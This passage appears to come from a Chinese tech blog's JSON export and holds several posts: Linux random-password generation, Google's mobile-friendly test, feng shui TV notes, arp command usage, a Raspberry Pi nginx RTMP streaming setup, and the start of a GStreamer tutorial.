aiKae1Hu Mohko9su aim6eoDo ieJu0Phe aezeiD6p Ub9ilai4 eiru3Eth neiY9eCh au7cei5W Wae4yohr Aengad5e Phahgh5v cohY8ies tav9Och3 UithaGh8 ChahieY4 aeC6umei Loh4cai1 hieY0wai oQu9choo eiph6Too eer6uaGh Fi1auhai Viek9zea Ipoosh2U aexee2Oo aishohP6 ohpee5Xo leih2Kai eisie7Th Eic1uu2g thub1Aeg faeK8boo choo4iPu ahciKu6b hooxoa7X eecheiZ4 ahkoS3ch saoPae4t haiVo9oo ohL9iof0 FoV9YiPe eaY8nies di0aoc7I phoe2OBa Ei6aiyai akai1eeW Moh0ge4n Ep9iefu8 eVu8uvoh Wavah0Wo Hah7ueki Pho0oobu Ohgo7doh penie6iH sha0Eemu phohV6om eelueK3f OhCaesh8 ub3Leim4 Ahm7chee eeTi5aix Thijai2m Shai8moh eebae5Hi ANgi8aiZ vaih8iiK oKooW4Nu Ahchae3e Cei0uFee Quu9aej0 Eishe4za xi9niB2i Hee8laeG aebee3Ji Aech7tho en1ohZia Ua2eweo6 saL3eeg9 caeDung3 Eiyoth8x Boas9Doo su5Ahjoh ooW2qua1 ge1pup2A kaiJaes8 Yoh2mi6o Gee1eihu Ie1aimis oomah1AP Bes6AiDo eizeir2I Ein4eiPh aiYu1osh ni0Fohh0 Eimiema9 rooghi0E eeThoh8e egeoYoe0 ziegieJ3 Ohzan7ji aich9Yei ief3aiKe theiy5aT Gohwoo9i ekegh2Ph oashieC5 AhBahsh1 XohB5ci4 quaJohH5 Hahbah4l xua0so5X ooG1Za5a Hi1aecho Eidu8tho ooph7Sha tahtie4A pie5Ohph oeDie0io Ahkefae4 Lot6eer9 Deeghi0o Lei0waiw foo8aeNo zahB9xai lee4oPho loo4Shu9 pwgen 預設產生那麼多的密碼是有原因的，這樣的設計可以讓使用者在其中選擇一組來使用，就算旁邊有其他人偷看到，也很難知道真正的密碼是哪一組，當使用者記好密碼之後，隨即將螢幕上有含有這些密碼的終端機關閉，這樣就可以避免密碼外洩的問題。\n您也可以直接指定要產生的密碼長度與個數，例如產生 6 組長度為 30 的密碼：\npwgen 30 6 輸出為\naebazae4quaah8Iikogh0Doh7Shief oaleZohj2Aefeimues5moeHeiLeePo uothoTiereek1Feeh4Ithuacha8hee aememifeejuW9joo2Ohwoo5eijier8 fohch2oofoodu9kooceeS9ahsh6oaC eeDaiqu4fiotaiPi8jax7ahRe4ahm0 pwgen 如果是用在 shell 指令稿中的話，它預設的情況就會改為一次只輸出一筆密碼，這樣可以方便程式的撰寫：\n#!/bin/sh PASSWORD=`pwgen` echo \u0026#34;The password is\u0026#34; $PASSWORD 這個指令稿執行起來的輸出會像這樣：\nThe password is engeweon 在預設的情況下，pwgen 會產生讓人比較好記的密碼，並不是完全用亂數產生的，如果您想要產生真的非常安全的亂數密碼，可以加上 -s 參數，而這樣的密碼對一般人而言就比較難記的起來，適合用於程式中，或是用紙筆記下來。\npwgen -s 另外 -y 參數可以在密碼中加入一些特殊字元，讓密碼更安全，：\npwgen -y 輸出為\nEi_phei7 eiF;ai3a oCho'o2U Oa'tee2J pi(pah4K roh-Ng3e yae9Im/e Vi9roo/y ua*Mae3J IS:ah3ei aiP4tie` Boo,r5ai bi9eK`a6 zeeX'oo9 Gae;s9Co poo\"b1Tu Vooy\u0026lt;ae7 iP(a3tie OhS7ood] Xu)ch8bo pho;Th5o Ia1phoh~ aiH]a0ae Pie_sh0r ith4aS(e vai'B9ee an9ohM?o AhSh(eo8 ua{Roof5 Nei2pit{ do:Z5ree oV*aeg7h It\u0026i0hoo euZ:ai2e aa\u0026gt;h0Au0 ej\\i8Phi Iequ1zi' ga2Aph-e di7ad$uT gooP9uu( fo6aiP.i Kai+pub3 ooW5oox\u0026 aeV+ie3o Uch_oh8j aiw2Ea(v Uwou:jo8 Pe\"u*l8e Goh]l8Ai ze\\e2Voo Ro8chah( po6Phie? Ohd_ai4h oowe:eN3 ee2yu^Yo Kee,Gh0i uy5Ook|u Au4ohb.o oc\"ohGh6 Au^Sh7mo Eimu\u0026lt;e1o Fah2Ni`b Mi*joh4z ahNu?i0D Bae\u0026j3Ze ohY_u2wu ui[h0ieM ohF5wi?b ai=Ra2eF foo!Pu8a EiS0li(a ooqu\u0026lt;e1Y ahPh@oo7 AhKoo-B9 ooL+a7ph Koo8pho\\ Aic4aaz; Thai\u0026lt;pa1 aeM$ae1b eiTh]e6o Noh\u0026gt;th1e nuG[i8th Cho9sei- quoh+n9L iex6Koh* eM9jah:v gu5uT(ai ahoo=Sh1 we^B7Ais Ga+ish4w xoo9Loo) zae\u0026lt;v4Ro Xae6La~Z zei\u0026lt;Gh8N aem+aiY1 boe4seV\u0026gt; gu=L0xo4 Am5loow' thei9uF_ Fieg@ei3 ieQu;ox9 Eena[D2i iph\u0026aSo4 eu/T9ek$ Phie=gh0 Wi!qu7oh za~u@Ng8 ooC3poo] Oosh[i2n fien`e4Y eo]sh9Du Ohw@ah9x ei\\K3ahZ eeyee?R8 Fe\"Wee7e poo7Ooh| Ohf{ei4h Mai6roh% quure*Z5 mie+J8to koh?T0az Ieph'i2o fie*X1no shai:T1e xoo*Ph1o Ae/Soh4e feM|o4vo onu1Aj{i Eik6Ica! woh7Ii/P kae;D4ev en/uh1Ah ae0Zaet[ we)Koh0u wi^u0aiF Ha*k|ah6 uu(de6Jo Rae\u0026lt;G2ph ahR_oo5H ru%e7uL\u0026lt; tooB[ee0 eiBah}w0 ai4AWah\\ Ahng(ee4 co#ux6Ui Koo2aiP^ eiwi?n9N ya(e;C4z uo6ohL\\i Od4bod\u0026gt;i chooH,e8 Os7paeh\" Ai8chuh) chae_S0e Yoh%l1Ph nei\u0026lt;Gah4 Ook5ei~W ohp)iw0H deT6Oop/ Ees^aef5 不過這樣的話，當然密碼也就更難記了。\n以下是 pwgen 其他的一些常用參數：\n-0：讓產生的密碼不要包含數字。 -1：輸出時，一行顯示一個密碼。 -A：讓產生的密碼不要包含大寫英文字。 -B：讓產生的密碼不要包含容易混淆的字元，例如 l 與 1，或是 0 或 O。 -c：讓產生的密碼中至少包含一個大寫英文字，這是預設的選項。 -n：讓產生的密碼中至少包含一個數字，這是預設的選項。 您可以任意結合這些參數來調整密碼的結構，例如想要單純以小寫的英文字母來產生密碼，就可以執行：\npwgen -0A makepasswd 指令 makepasswd 跟 pwgen 類似，都可以用來直接產生各種長度的亂數密碼，使用前先安裝：\napt-get install makepasswd 直接執行會產生一組亂數密碼：\nmakepasswd 輸出為\nEzNiYbfS 產生長度為 50 的亂數密碼：\nmakepasswd --char 50 輸出為\n2Mx83b18wgJsjTTGd9QGTTtsa32Gc3cJzLD8EKfBu4dmR5VI0Y 一次產生 6 組長度為 20 的亂數密碼：\nmakepasswd --char 20 --count 6 輸出為\nAdQFeV15YbBry3nQh0NC hvJ1ErVTfDVTxRFhHApU JuGr7N3pA3HieJ1fNDDF 4AUod2zqoSmcVVSYNf2B qtHAjio3GT1TDtWw7hDa u67md8FeTWmjccKY8JAf 使用 Perl 產生亂數密碼 自己用 Perl 寫一個產生密碼的指令稿其實也很簡單，以下是一個範例程式：\n#!/usr/bin/perl print generatePassword(10) . \u0026#34;\\n\u0026#34;; exit; sub generatePassword { $length = shift; $possible = \u0026#39;abcdefghijkmnpqrstuvwxyz23456789ABCDEFGHJKLMNPQRSTUVWXYZ\u0026#39;; while (length($password) \u0026amp;lt; $length) { $password .= substr($possible, (int(rand(length($possible)))), 1); } return $password; } 這個 Perl 程式會以亂數的方式從 $possible 中選取字元組成密碼，執行之後所產生的輸出會像這樣：\n9CBGAyzYt7 如果要增加密碼的複雜度，可以自己在 $possible 中加入特殊字元。\nShell 指令稿 除了使用現成的指令或是程式產生密碼之外，也可以利用 Linux 中的 shell 與一些小工具來產生密碼，這種作法就會有非常多的變化與彈性，以下是一些範例。\n使用 SHA 計算時間的雜湊碼（hash），經過 base64 編碼之後，取前 32 個字元：\ndate +%s | sha256sum | base64 | head -c 32 ; echo 輸出為\nNjY3ODU4YzA5MzJkOTk1ZjQyNjBhYjhk 讀取 /dev/urandom 的隨機內容，取出可以作為密碼的字元，然後拿前面 32 個產生一組密碼：\n\u0026lt; /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-32}; echo 輸出為\nmNJrtsKNXhFiReGApwnJOx58XAaLqRVv 使用 openssl 的 rand 功能產生亂數密碼：\nopenssl rand -base64 32 輸出為\nzoHCcHtmngCSfcfzQrd+HRNEyQwTF7xdXAZ+yJA7Av4= 這個跟上面 /dev/urandom 的例子類似，不過用不同的處理方式：\ntr -cd \u0026#39;[:alnum:]\u0026#39; \u0026lt; /dev/urandom | fold -w30 | head -n1 輸出為\n46kSNVvQCeRNsAAXr5H5FZK1Ci5eX9 另外一個讀取 /dev/urandom 例子：\nstrings /dev/urandom | grep -o \u0026#39;[[:alnum:]]\u0026#39; | head -n 30 | tr -d \u0026#39;\\n\u0026#39;; echo 輸出為\n0RiqDmFuHXmkcCNPDjL7qxc0q9WmLs 使用 dd 讀取 /dev/urandom 例子：\ndd if=/dev/urandom bs=1 count=32 2\u0026gt;/dev/null | base64 -w 0 | rev | cut -b 2- | rev 輸出為\n3lvoy9+LB0mIAOjk1TDrE1dT7QSjbL+fHTxsft92zEI 產生只需要用左手即可輸入的密碼：\n\u0026lt; /dev/urandom tr -dc \u0026#39;12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB\u0026#39; | head -c8; echo \u0026#34;\u0026#34; 輸出為\nfsTDqZz2 如果要時常使用這這類的指令，可以將其寫成 shell 的函數，放進 ~/.bashrc 中，讓使用更方便：\nrandpw(){ \u0026lt; /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;} 之後即可直接執行這個函數：\nrandpw 輸出為\naV7CbdjUDeRIW3yg 最後介紹一個最簡單的亂數密碼產生方式，除了 Linux 之外，Mac OS X 或是 Cygwin 也都可以直接使用：\ndate | md5sum 輸出為\nf2ede6e6c79a400ea82384a182d84be2 -- 當然有人會認為這樣產生密碼的方式不夠隨機，不過對於一般人應該是足夠了。\n參考資料 Tecmint HTG ","permalink":"https://blog.gtwang.org/linux/how-to-generate-random-passwords-in-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中產生亂數的密碼，讓你的密碼更安全，不容易被破解。\u003c/p\u003e\n\u003cp\u003e對於 Linux 管理者而言，很多情況下都會需要使用到亂數的密碼，例如新增 Linux 系統的使用者帳號時，你會需要為每一個新的帳號設定一組預設的密碼，在安全性的考量上，這個預設密碼也不能太簡單，最好的方式就是使用亂數產生的密碼，確保每個帳號在使用者拿到帳號資訊之前，不會被駭。\u003c/p\u003e","title":"如何在 Linux 中產生亂數的密碼"},{"content":"Google 所提供的行動裝置相容性測試工具可以幫助網站設計者測試自己的網站是否適合手機瀏覽，並且列出各種問題與改善方案。\nGoogle 日前宣佈一項新的搜尋引擎規則，從今年的 4 月 21 日開始，網站是否有提供適用於行動裝置瀏覽的網頁，會大大影響網站在 Google 搜尋上的排名，也就是說如果 Google 搜尋引擎認為您的網站沒有提供手機版的網頁，您的網站在一般行動裝置上面的搜尋排名從 4 月 21 日開始就會往後掉。\n如果您不確定自己的網站是否符合 Google 的標準，可以 Google 的使用行動裝置相容性測試工具檢查一下，只要填入網址，即可立即檢測。\n名稱：Google 行動裝置相容性測試\n網址：https://www.google.com/webmasters/tools/mobile-friendly/\n如果您的網站沒有通過檢測的話，它也會列出各種問題的處理方式，另外您可以參考 Google 官方的行動指南文件，它對於許多常見的網站架構都有非常詳盡的教學，可以讓您很容易地改善自己網站對於行動裝置的相容性問題。\n","permalink":"https://blog.gtwang.org/web-development/google-mobile-friendly-test-tool/","summary":"\u003cp\u003eGoogle 所提供的行動裝置相容性測試工具可以幫助網站設計者測試自己的網站是否適合手機瀏覽，並且列出各種問題與改善方案。\u003c/p\u003e\n\u003cp\u003eGoogle 日前\u003ca href=\"https://googlewebmastercentral.blogspot.tw/2015/02/finding-more-mobile-friendly-search.html\"\u003e宣佈\u003c/a\u003e一項新的搜尋引擎規則，從今年的 4 月 21 日開始，網站是否有提供適用於行動裝置瀏覽的網頁，會大大影響網站在 Google 搜尋上的排名，也就是說如果 Google 搜尋引擎認為您的網站沒有提供手機版的網頁，您的網站在一般行動裝置上面的搜尋排名從 4 月 21 日開始就會往後掉。\u003c/p\u003e","title":"Google 行動裝置相容性測試工具，檢測網站是否適合手機瀏覽"},{"content":"這一篇是我看緯來綜合台風水有關係 2015/03/28 這一集的個人筆記。\n庭院 在風水上來說，桂花代表貴人，算是居家植物的首選，在庭院中種植桂花可以招貴人，而桂花不用種很多棵，只要有一棵它的香味就足夠了。\n闊葉植物的葉子比較接近圓形，形狀類似錢幣，有招財效果。\n針葉的植物（如鐵樹）就比較不適合在家裡種植，這類的植物對於求財方面比較減分，另外也容易讓人有筋骨方面的問題。如果要種植針葉植物的話，建議不要距離房子太近，像鐵樹很容易長螞蟻窩，所以稍微與房子有個幾公尺的距離會比較好。\n風水著重陰陽平衡，在地形與地勢上也是一樣，房子的龍邊（左手邊）代表男生，虎邊（右手邊）代表女生，最好的房子是左右兩邊都平衡，也就是長度與高度都一樣，而如果沒辦法左右相同時，龍邊高一點點、虎邊低一點點是可以接受的。\n如果在地勢上面龍邊又向下的斜坡，而虎邊又比較高，這樣的房子就比較容易住女強人類型的人，對家中的男生會比較弱，或是家裡頭比較沒有男生（沒有男主人或女生不容易結婚）。\n單數屬陽、雙數屬陰，居家庭院的樹木以單數為宜。屋外的地勢弱虎高龍低，可以在龍邊種植單數棵的樹木彌補，如果空間不太夠時，可以種植較小的桂花來補足。\n門前的左右兩側盡量不要種植葡萄、絲瓜等蔓藤植物，否則易招口舌是非。\n室內 居家室內設置拱門容易有退運、家道中落的情形，宜在拱門後方兩色個懸掛一串五帝錢，以化解煞氣。\n不管房子有多大，進出的大門只能有一個，而如果通往同一個地方的一面牆同時開了兩扇門，就形成哭字門，宜封住其中一個，保留另一個就好。\n如果大門進門直接見到廁所，易造成漏財與爛桃花。\n如果出現回風煞，可以在門的下方放置五帝錢來化解。\n開門見膳是指大門而言，如果是側門的話就比較沒有關係。\n居家的對外門在三個之內為佳，標準的房子會有前門與後門，大一點的房子頂多會多一個側門，如果房子開了太多的對外門，會導致不易聚人氣與財氣。\n臥室 床頭背門或開門直接正對床頭，易造成心神不寧。\n床尾不可以朝向窗外或門外的馬路，這樣彷彿睡在靈堂。\n房間若三面牆都有門與窗，床不管怎麼擺都很容易出現煞氣，宜將一面牆的窗封起來，才比較好擺放床。盡量讓門窗都在床尾方向的斜 45 度角的範圍內，比較好掌握房間外的動向為原則。\n如果天花板是斜的，在高度允許的情況下，宜將天花板改為平的，如果高度不夠，則可將天花板漆成白色，降低壓迫感。\n一扇門、一扇窗的房間，擺放床位上會比較方便。\n風水上講究明廳暗房，如果房間太過於明亮，會難以養精氣神。\n姓名學 取名字有兩大方向，第一種是從生肖的角度來看。名字第二個字的字首代表事業運，字尾代表婚姻，第三個字的字首代表進財，字尾代表納財（財庫）。\n姓名的筆畫上，22 與 26 劃屬於桃花煞，若出現在人格代表早年桃花煞，若出現在地格則代表晚年桃花煞。筆畫為 14、19、20、28、34 的話，易犯血光及爛桃花。\n28 劃如果出現在天格、人格或地格，易造成孤寡（準寡婦運），不是生離就是死別。\n20 劃如果出現在天格、人格或地格，易造成感情不順遂。\n筆劃中有 24 劃，代表白手起家的命格。\n身分證不能改名字話，可以在名片上加註綽號，讓大家常叫，這樣就可以改運。\n","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20150328/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=ilC6LuPo4nw\"\u003e風水有關係 2015/03/28\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"庭院\"\u003e庭院\u003c/h2\u003e\n\u003cp\u003e在風水上來說，桂花代表貴人，算是居家植物的首選，在庭院中種植桂花可以招貴人，而桂花不用種很多棵，只要有一棵它的香味就足夠了。\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，植物、拱門、回風煞、哭字門 2015/03/28 筆記"},{"content":"這裡介紹如何使用 Linux 的 arp 指令，管理系統上的 arp 紀錄。\narp 是一個用來管理系統 arp 紀錄的指令，一般使用者可能不常用到，但是對於網路管理者來說，卻是一個相當基本且常用的指令，例如建立 IP 位址與網路卡 MAC 卡號對應表時，就會用到 arp 指令。\n以下是 arp 的使用方法教學。\n查詢 ARP 紀錄 直接執行 arp 即可列出系統上目前的 arp 紀錄：\narp Address HWtype HWaddress Flags Mask Iface 192.168.0.103 ether 54:35:30:ac:ec:be C wlan1 192.168.0.100 (incomplete) wlan1 192.168.0.1 ether c4:6e:1f:c1:8e:ee C wlan1 192.168.0.101 (incomplete) wlan1 如果是在有多張網路卡的伺服器上，可以使用 -i 參數指定要查詢的網路界面，例如查詢第一張乙太網路卡上的 arp 紀錄：\narp -i eth0 arp 若加上 -a 參數可以改用 BSD 的格式輸出：\narp -a ? (192.168.0.103) at 54:35:30:ac:ec:be [ether] on wlan1 ? (192.168.0.100) at on wlan1 ? (192.168.0.1) at c4:6e:1f:c1:8e:ee [ether] on wlan1 ? (192.168.0.101) at on wlan1 其實資料都是一樣的，只是排版不同。\n刪除 ARP 紀錄 如果要刪除指定主機的 ARP 紀錄，可以使用 -d 參數：\n# 刪除主機的 ARP 紀錄 sudo arp -d 192.168.0.103 刪除後的 ARP 紀錄在查詢時，就會顯示為 (incomplete)：\narp Address HWtype HWaddress Flags Mask Iface 192.168.0.103 (incomplete) wlan1 192.168.0.100 (incomplete) wlan1 192.168.0.1 ether c4:6e:1f:c1:8e:ee C wlan1 192.168.0.101 (incomplete) wlan1 設定 ARP 紀錄 若要手動設定特定主機的 arp 紀錄，可以使用 -s 參數：\n# 設定主機的 ARP 紀錄 sudo arp -s 192.168.0.123 12:34:56:78:90:ab 設定之後，馬上就會生效：\narp Address HWtype HWaddress Flags Mask Iface 192.168.0.103 ether 54:35:30:ac:ec:be C wlan1 192.168.0.100 (incomplete) wlan1 192.168.0.1 ether c4:6e:1f:c1:8e:ee C wlan1 192.168.0.123 ether 12:34:56:78:90:ab CM wlan1 192.168.0.101 (incomplete) wlan1 如果一次要設定多台主機的 arp 紀錄，可以先將所有的主機與網路卡 MAC 卡號的對應表準備好，每一行代表一筆 arp 紀錄，以空白分隔主機與 MAC 卡號，例如：\n192.168.0.201 11:22:33:44:55:66 192.168.0.202 12:23:34:45:56:67 將其儲存在檔案中，接著在使用 arp 配合 -f 參數，從檔案中讀取 arp 對應表來更新系統上的 arp 紀錄：\n# 設定主機的 ARP 紀錄 sudo arp -f arp_list.txt 參考資料 tutorialspoint ","permalink":"https://blog.gtwang.org/linux/linux-arp-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Linux 的 \u003ccode\u003earp\u003c/code\u003e 指令，管理系統上的 arp 紀錄。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003earp\u003c/code\u003e 是一個用來管理系統 arp 紀錄的指令，一般使用者可能不常用到，但是對於網路管理者來說，卻是一個相當基本且常用的指令，例如\u003ca href=\"/linux/ping-and-arp-scan-ip-mac-address-script/\"\u003e建立 IP 位址與網路卡 MAC 卡號對應表\u003c/a\u003e時，就會用到 \u003ccode\u003earp\u003c/code\u003e 指令。\u003c/p\u003e","title":"Linux 的 arp 指令使用教學與範例"},{"content":"這裡介紹使用樹莓派安裝 nginx 架設 RTMP 串流伺服器，傳送即時的攝影機影像。\n樹莓派加上一個網路攝影機（webcam）之後，就可以用來打造一個即時的 live 影像串流伺服器，作為簡單的監控設備，讓您透過電腦或是手機看到即時的攝影機畫面。\n在本篇教學中所使用的設備與規格為：\n樹莓派 Raspberry Pi B+ 開發板 羅技 C170 視訊攝影機 以下是架設 RTMP 串流（Streaming）伺服器的安裝過程。\n安裝 nginx 伺服器 我們選用 nginx 再加上一個 nginx-rtmp-module 模組作為主要對外服務的伺服器，在自行編譯與安裝之前，我們先用 apt 裝一下系統套件厙中的 nginx，然後在將其移除：\nsudo apt-get update sudo apt-get -y install nginx sudo apt-get -y remove nginx sudo apt-get clean 這樣做的目的是讓它自動把 nginx 相依的套件安裝好，並設定好系統的環境（例如 init 指令稿等），移除 nginx 套件之後，要清空 /etc/nginx/ 下面的設定檔：\nsudo rm -rf /etc/nginx/* 安裝編譯用的套件：\nsudo apt-get install -y curl build-essential libpcre3-dev libpcre++-dev zlib1g-dev libcurl4-openssl-dev libssl-dev 建立系統上放置網頁的目錄：\nsudo mkdir -p /var/www 建立編譯用的目錄：\nmkdir -p ~/nginx_src cd ~/nginx_src 用 git 下載 nginx 與 nginx-rtmp-module 的原始碼：\ngit clone https://github.com/arut/nginx-rtmp-module.git git clone https://github.com/nginx/nginx.git 設定編譯參數：\ncd nginx ./configure --prefix=/var/www --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --with-http_ssl_module --without-http_proxy_module --add-module=/home/pi/nginx_src/nginx-rtmp-module 這裡補充一點，從 nginx 的 git repository 下載的原始碼雖然是最新的，但是因為它是處於開發狀態的原始碼，並不保證一定可以使用，如果發現最新的原始碼有問題時，可以嘗試從 nginx 的官方網站下載打包好的原始碼，然後解壓縮：\nwget http://nginx.org/download/nginx-1.9.3.tar.gz tar zxvf nginx-1.9.3.tar.gz 然後再進入解壓縮出來的目錄，設定編譯參數：\ncd nginx-1.9.3/ ./configure --prefix=/var/www --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --with-http_ssl_module --without-http_proxy_module --add-module=/home/pi/nginx_src/nginx-rtmp-module 設定好編譯參數之後，就可以進行編譯與安裝 nginx 的動作：\nmake sudo make install 測試安裝好的 nginx 是否正常：\nnginx -v 正常的話，會顯示 nginx 的版本：\nnginx version: nginx/1.7.10 編輯 /etc/nginx/nginx.conf 設定檔，在檔案的最後加上下面這段 RTMP 的設定：\nrtmp { server { listen 1935; ping 30s; notify_method get; application rtmp { live on; } } } 啟動 nginx 系統服務：\nsudo service nginx start 看看是否有正常啟動，沒問錯誤訊息就代表成功了：\nStarting nginx: nginx. 安裝 Strobe Media Playback 下載 Strobe Media Playback：\nmkdir strobe_src cd strobe_src wget http://downloads.sourceforge.net/project/smp.adobe/Strobe%20Media%20Playback%201.6%20Release%20%28source%20and%20binaries%29/StrobeMediaPlayback_1.6.328-full.zip 解壓縮之後，將最新版的複製到 /var/www/html/strobe：\nunzip StrobeMediaPlayback_1.6.328-full.zip sudo cp -r for Flash Player 10.1 /var/www/html/strobe 建立 index.html 編輯 /var/www/html/index.html，將內容改為：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Live Streaming\u0026lt;/title\u0026gt; \u0026lt;!-- strobe --\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;strobe/lib/swfobject.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var parameters = { src: \u0026#34;rtmp://{pi_address}/rtmp/live\u0026#34;, autoPlay: false, controlBarAutoHide: false, playButtonOverlay: true, showVideoInfoOverlayOnStartUp: true, optimizeBuffering : false, initialBufferTime : .1, expandedBufferTime : .1, minContinuousPlayback : .1, poster: \u0026#34;images/poster.png\u0026#34; }; swfobject.embedSWF( \u0026#34;strobe/StrobeMediaPlayback.swf\u0026#34; , \u0026#34;StrobeMediaPlayback\u0026#34; , 1024 , 768 , \u0026#34;10.1.0\u0026#34; , \u0026#34;strobe/expressInstall.swf\u0026#34; , parameters , { allowFullScreen: \u0026#34;true\u0026#34; } , { name: \u0026#34;StrobeMediaPlayback\u0026#34; } ); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;StrobeMediaPlayback\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 其中的 {pi_address} 要改為 SMTP 伺服器的 IP 位址（也就是樹莓派的 IP 位址）。\n使用 avconv 製作影像串流 安裝 libav-tools 套件：\nsudo apt-get install libav-tools 插上 USB 網路攝影機之後，執行：\navconv -f video4linux2 -r 24 -i /dev/video0 -f flv rtmp://localhost:1935/rtmp/live 這樣就可以開啟 http://{pi_address}/ 觀看即時的影像串流了，這是我測試的畫面：\n如果畫面變動比較大的時候，Frame rate 會稍微下降。\n因為 avconv 是使用軟體來進行影片的編碼，所以 CPU 的覆載會很高，以樹莓派的硬體而言，處理速度很吃緊。\n這是實測的影片，畫面有變動的時候，影像就會出現嚴重的延遲。\n使用 GStreamer 製作影像串流 另一個產生串流的方式是使用 GStreamer，由於它可以使用樹莓派的硬體進行 H.264 編碼，所以產生的串流品質會好很多。首先安裝 GStreamer：\nsudo apt-get install gstreamer1.0-tools 使用 gst-launch 擷取網路攝影機的影像，產生串流：\ngst-launch-1.0 -v v4l2src ! \u0026#39;video/x-raw, width=640, height=480, framerate=30/1\u0026#39; ! queue ! videoconvert ! omxh264enc ! h264parse ! flvmux ! rtmpsink location=\u0026#39;rtmp://localhost/rtmp/live live=1\u0026#39; 這是測試的畫面：\nCPU 的覆載輕很多。\n這是實測的影片，畫面的變動並不會影響串流影像的流暢度。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 nginx-rtmp-module ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-nginx-rtmp-server-live-streaming/","summary":"\u003cp\u003e這裡介紹使用樹莓派安裝 nginx 架設 RTMP 串流伺服器，傳送即時的攝影機影像。\u003c/p\u003e\n\u003cp\u003e樹莓派加上一個網路攝影機（webcam）之後，就可以用來打造一個即時的 live 影像串流伺服器，作為簡單的監控設備，讓您透過電腦或是手機看到即時的攝影機畫面。\u003c/p\u003e","title":"樹莓派架設 RTMP 串流（Streaming）伺服器，傳送即時攝影機影像"},{"content":"這是 GStreamer 的入門使用教學，播放網路影片串流的 Hello World 程式。\nGStreamer 是 GNOME 桌面環境之下用來建立多媒體串流應用的架構（framework），可以簡化影音相關應用程式的開發流程，支援各種常用的多媒體影音格式，如 mp3、ogg、mpeg1、mpeg2、avi、quicktime 等。\n下面這段 C 語言程式碼是使用 GStreamer 函式庫，播放網路上的串流影片，請將這段程式碼儲存為 basic-tutorial-1.c：\n#include \u0026lt;gst/gst.h\u0026gt; int main(int argc, char *argv[]) { /* 基本變數宣告 */ GstElement *pipeline; GstBus *bus; GstMessage *msg; /* 初始化 GStreamer */ gst_init (\u0026amp;argc, \u0026amp;argv); /* 建立 pipeline */ pipeline = gst_parse_launch (\u0026#34;playbin2 uri=https://docs.gstreamer.com/media/sintel_trailer-480p.webm\u0026#34;, NULL); /* 開始撥放影片 */ gst_element_set_state (pipeline, GST_STATE_PLAYING); /* Wait until error or EOS */ bus = gst_element_get_bus (pipeline); msg = gst_bus_timed_pop_filtered (bus, GST_CLOCK_TIME_NONE, GST_MESSAGE_ERROR | GST_MESSAGE_EOS); /* 釋放記憶體資源 */ if (msg != NULL) gst_message_unref (msg); gst_object_unref (bus); gst_element_set_state (pipeline, GST_STATE_NULL); gst_object_unref (pipeline); return 0; } 整個程式的執行流程可以分為以下幾個部分：\nPart 1\n/* 初始化 GStreamer */ gst_init (\u0026amp;argc, \u0026amp;argv); 程式一開始會先呼叫 gst_init() 進行初始化，只要是有使用到 GStreamer 的程式，一開始都要先呼這個函數，它的作用主要有：\n初始化 GStreamer 內部的資料結構。 檢查所有可用的附加元件（plugins）。 解析與執行從命令列所傳入的 GStreamer 參數。 當然如果想要讓程式可以解析與執行從命令列所傳入的 GStreamer 參數，在呼叫 gst_init() 時就記得要傳入 \u0026amp;argc 與 \u0026amp;argv 兩個變數。\nPart 2\n/* 建立 pipeline */ pipeline = gst_parse_launch (\u0026#34;playbin2 uri=https://docs.gstreamer.com/media/sintel_trailer-480p.webm\u0026#34;, NULL); 接著就是呼叫 gst_parse_launch() 建立播放影片的管線（pipeline），這個部分是整個程式最重要的地方。\ngst_parse_launch() GStreamer 是專門設計用來處理多媒體資料流的一個架構，所有的多媒體資料流都是從來源端（source）開始，流向目的端（sink），中間經過一連串的各種影音處理，而這樣的架構就稱為管線（pipeline）。\n在 GStreamer 的程式中，程式設計者可以依照自己的需求選取不同的影音處理元件，打造出適合自己的管線來處理多媒體資料，而如果這個管線非常簡單的時候，您可以直接呼叫 gst_parse_launch() 來直接建立並執行這個管線。\ngst_parse_launch() 是一個非常好用的函數，他可以直接解析輸入的文字管線描述，建立一個真正可以處理資料的管線，而 GStreamer 中有一個 gst-launch 測試工具就是直接使用這個函數來建立管線的，這個工具在開發與測試比較複雜的管線時會非常有用，您可以參考 gst-launch 指令的相關使用方式。\nplaybin2 在呼叫 gst_parse_launch() 時，還要指定管線的內容，這裡我們只使用 playbin2 這個影片撥放用的元件，也就是說這個管線只有這個元件而已。\nplaybin2 